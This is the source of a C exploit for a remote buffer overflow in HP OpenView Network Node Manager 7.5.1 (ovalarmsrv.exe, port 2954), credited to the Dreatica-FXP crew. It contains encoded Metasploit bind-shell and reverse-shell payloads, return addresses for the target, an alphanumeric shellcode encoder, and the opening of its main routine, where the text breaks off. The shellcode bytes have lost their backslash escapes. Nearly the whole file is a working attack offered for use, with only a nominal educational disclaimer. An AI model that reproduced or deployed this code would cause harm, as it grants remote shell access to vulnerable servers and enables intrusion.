HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Overflow Exploit
:
/* Dreatica-FXP crew
*
* ----------------------------------------
* Target : HP OpenView Network Node Manager v7.5
* ----------------------------------------
* Exploit : HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Buffer Overflow Exploit
* Exploit date : 07.04.2008
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS : Windows ALL
* Crew : Dreatica-FXP
* Location : http://www.milw0rm.com/
* ----------------------------------------
* Info : Vulnerabilty was found by Luigi Auriemma. Sending more than 524 bytes
* to the 2954 port can overflow the EIP register. Too lazy to research the whole
* array of badchars, so simply used the alpahnumeric shellcodes.
* 0x00 0x0a 0x20 are bad chars, but i think there are few more.
* I only got the ret address for the 7.5.1 version, but 7.5.3 is also vulnerable.
* Using the 2954 port i was not able to determine exact version of HP OV
* which runs on the server.
* ----------------------------------------
* Thanks to:
* 1. Luigi Auriemma ( http://aluigi.org <aluigi [at] autistici.org> )
* 2. The Metasploit project ( http://metasploit.com )
* 3. ALPHA 2: Zero-tolerance ( <skylined [at] edup.tudelft.nl> )
* 4. Dreatica-FXP crew ( )
************************************************************************************
* This was written for educational purpose only. Use it at your own risk. Author will be not be
* responsible for any damage, caused by that code.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <time.h>
#pragma comment(lib,"ws2_32")
void usage(char * s);
void logo();
void end_logo();
void print_info_banner_line(const char * key, const char * val);
void extract_ip_and_port( char * &remotehost, int * port, char * str);
int fill_payload_args(int sh, int bport, char * reverseip, int reverseport, struct h2readyp * xx);
int hr2_connect(char * remotehost, int port, int timeout);
int hr2_udpconnect(char * remotehost, int port, struct sockaddr_in * addr, int timeout);
int hr2_updsend(char * remotehost, unsigned char * buf, unsigned int len, int port, struct sockaddr_in * addr, int timeout);
int execute(struct _buf * abuf, char * remotehost, int port);
struct _buf
{
unsigned char * ptr;
unsigned int size;
};
int construct_shellcode(int sh, struct _buf * shf, int target, char * reverseip, int reverseport);
int construct_buffer(struct _buf * shf, int target, struct _buf * abuf);
// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char *optarg; // global argument pointer
int optind = 0, opterr; // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------
struct {
const char * name;
int length;
char *shellcode;
}shellcodes[]={
{ "BindShell on 9998 [ ]",
// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
/*
* windows/shell_bind_tcp -
* http://www.metasploit.com
* Encoder: generic/none
*/
696,
"xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49"
"x49x49x49x49x49x49x49x49x49x49x49x37x51x5ax6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42x42"
"x30x42x42x41x42x58x50x38x41x42x75x4ax49x69x6cx43"
"x5ax6ax4bx70x4dx6bx58x59x69x4bx4fx4bx4fx4bx4fx53"
"x50x4cx4bx32x4cx47x54x77x54x4cx4bx63x75x75x6cx6e"
"x6bx31x6cx57x75x53x48x76x61x7ax4fx6ex6bx32x6fx56"
"x78x6cx4bx61x4fx51x30x56x61x78x6bx32x69x6cx4bx44"
"x74x4cx4bx46x61x38x6ex74x71x6bx70x6fx69x4ex4cx6f"
"x74x4bx70x51x64x77x77x39x51x78x4ax64x4dx45x51x59"
"x52x58x6bx4cx34x65x6bx70x54x77x54x64x68x71x65x7a"
"x45x4ex6bx73x6fx45x74x53x31x5ax4bx33x56x4cx4bx56"
"x6cx52x6bx6ex6bx33x6fx35x4cx67x71x7ax4bx74x43x36"
"x4cx6ex6bx6bx39x30x6cx64x64x55x4cx33x51x79x53x66"
"x51x6bx6bx51x74x6cx4bx70x43x56x50x4cx4bx51x50x54"
"x4cx6cx4bx34x30x35x4cx6cx6dx4cx4bx53x70x63x38x71"
"x4ex72x48x4cx4ex70x4ex64x4ex58x6cx72x70x59x6fx69"
"x46x51x76x70x53x31x76x50x68x35x63x56x52x31x78x52"
"x57x73x43x74x72x71x4fx56x34x69x6fx4ex30x35x38x7a"
"x6bx7ax4dx6bx4cx35x6bx70x50x49x6fx68x56x71x4fx6e"
"x69x4dx35x30x66x4fx71x5ax4dx45x58x75x52x33x65x32"
"x4ax77x72x79x6fx7ax70x71x78x79x49x77x79x6cx35x4e"
"x4dx33x67x49x6fx6bx66x50x53x62x73x53x63x46x33x50"
"x53x31x53x51x43x43x73x70x53x4bx4fx6ax70x33x56x70"
"x68x74x67x64x4ex63x56x31x43x4dx59x4bx51x4dx45x33"
"x58x4cx64x36x7ax70x70x4bx77x56x37x6bx4fx4ex36x73"
"x5ax56x70x70x51x70x55x4bx4fx4ax70x73x58x4dx74x4c"
"x6dx76x4ex38x69x66x37x6bx4fx6bx66x52x73x50x55x4b"
"x4fx58x50x65x38x4bx55x43x79x4fx76x62x69x51x47x59"
"x6fx38x56x42x70x50x54x32x74x51x45x79x6fx78x50x6e"
"x73x31x78x79x77x52x59x4fx36x73x49x62x77x4bx4fx78"
"x56x61x45x4bx4fx5ax70x52x46x50x6ax71x74x50x66x52"
"x48x61x73x52x4dx4bx39x6bx55x51x7ax72x70x76x39x77"
"x59x5ax6cx6cx49x59x77x42x4ax70x44x4cx49x58x62x50"
"x31x49x50x6bx43x4cx6ax6bx4ex43x72x34x6dx4bx4ex51"
"x52x44x6cx5ax33x4ex6dx52x5ax35x68x4ex4bx4cx6bx4e"
"x4bx30x68x52x52x59x6ex6fx43x32x36x4bx4fx42x55x70"
"x44x6bx4fx6bx66x43x6bx71x47x72x72x43x61x70x51x52"
"x71x70x6ax77x71x72x71x36x31x42x75x72x71x4bx4fx4a"
"x70x75x38x6cx6dx58x59x47x75x7ax6ex52x73x59x6fx7a"
"x76x30x6ax69x6fx49x6fx70x37x4bx4fx78x50x4ex6bx53"
"x67x59x6cx4fx73x38x44x70x64x59x6fx4bx66x52x72x49"
"x6fx48x50x43x58x7ax50x6fx7ax45x54x53x6fx70x53x4b"
"x4fx6ax76x69x6fx5ax70x41"
},
{ "ReverseShell [ args: -R <ip:port> ]",
287,
/*
* windows/shell_reverse_tcp - 287 bytes
* http://www.metasploit.com
* Encoder: generic/none
*/
"xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8b"
"x45x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01"
"xebx49x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07"
"xc1xcax0dx01xc2xebxf4x3bx54x24x28x75xe5x8bx5f"
"x24x01xebx66x8bx0cx4bx8bx5fx1cx01xebx03x2cx8b"
"x89x6cx24x1cx61xc3x31xdbx64x8bx43x30x8bx40x0c"
"x8bx70x1cxadx8bx40x08x5ex68x8ex4ex0execx50xff"
"xd6x66x53x66x68x33x32x68x77x73x32x5fx54xffxd0"
"x68xcbxedxfcx3bx50xffxd6x5fx89xe5x66x81xedx08"
"x02x55x6ax02xffxd0x68xd9x09xf5xadx57xffxd6x53"
"x53x53x53x43x53x43x53xffxd0x68x7fx00x00x01x66"
"x68x11x5cx66x53x89xe1x95x68xecxf9xaax60x57xff"
"xd6x6ax10x51x55xffxd0x66x6ax64x66x68x63x6dx6a"
"x50x59x29xccx89xe7x6ax44x89xe2x31xc0xf3xaax95"
"x89xfdxfex42x2dxfex42x2cx8dx7ax38xabxabxabx68"
"x72xfexb3x16xffx75x28xffxd6x5bx57x52x51x51x51"
"x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53xff"
"xd6x6axffxffx37xffxd0x68xe7x79xc6x79xffx75x04"
"xffxd6xffx77xfcxffxd0x68xf0x8ax04x5fx53xffxd6"
"xffxd0"
},
{NULL, 0, NULL}
};
struct _target{
const char *t ;
unsigned long ret, fix ;
} targets[]=
{
{"HP OpenView Network Node Manager v7.5.1", 0x5a01d78d, 0x5a04d3d0 },
{"DOS/Crash/Debug/Test/Fun", 0x41414141, 0x41414141 },
{NULL, 0x00000000, 0x00000000 }
};
// memory for buffers
unsigned char payloadbuffer[10000], a_buffer[10000];
long dwTimeout=5000;
int timeout=5000;
// alphanumeric decoder took from "ALPHA 2: Zero-tolerance." code
char alphanum_decoder[] =
"xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49"
"x49x49x49x49x49x49x49x49x49x49x49x37x51x5ax6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42x42"
"x30x42x42x41x42x58x50x38x41x42x75x4ax49";
// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
int alphanumeric_exec(char *to_encode, int len, char *encoded, int * rlen )
{
int i,ii=0, input, A, B, C, D, E, F, length=(int)strlen(to_encode);
char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; // mixed chars
char temp[10];
memset(temp, 0 , sizeof(temp));
srand((int)clock());
for(ii=0;ii<len;ii++)
{
input = to_encode[ii];
A = (input & 0xf0) >> 4;
B = (input & 0x0f);
F = B;
i = rand() % ((int)strlen(valid_chars));
while ((valid_chars[i] & 0x0f) != F) { i = ++i % ((int)strlen(valid_chars)); }
E = valid_chars[i] >> 4;
D = (A^E);
i = rand() % ((int)strlen(valid_chars));
while ((valid_chars[i] & 0x0f) != D) { i = ++i % ((int)strlen(valid_chars)); }
C = valid_chars[i] >> 4;
sprintf(temp,"%c%c", (C<<4)+D, (E<<4)+F);
encoded[strlen(encoded)]=temp[0];
encoded[strlen(encoded)]=temp[1];
}
encoded[strlen(encoded)]='A';
*rlen=(int)strlen(encoded);
return 1;
}
int main(int argc, char **argv)
{
char c,*remotehost=NULL,*file=NULL,*reverseip=NULL,*url=NULL,temp1[100];
int HAVE_R=0,HAVE_U=0,sh,port=2954,itarget=0,reverseport=9999;
struct _buf fshellcode, sbuffer;
logo();
if(argc<2)
{
usage(argv[0]);
return -1;
}
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
// set defaults
sh=0;
// ------------
while((c = getopt(argc, argv, "h:t:R:T:"))!= EOF)
{
switch (c)
{
case 'h':
if (strchr(optarg,':')==NULL)
{
remotehost=optarg;
}else
{
sscanf(strchr(optarg,':')+1, "%d", &port);
remotehost=optarg;
*(strchr(remotehost,':'))='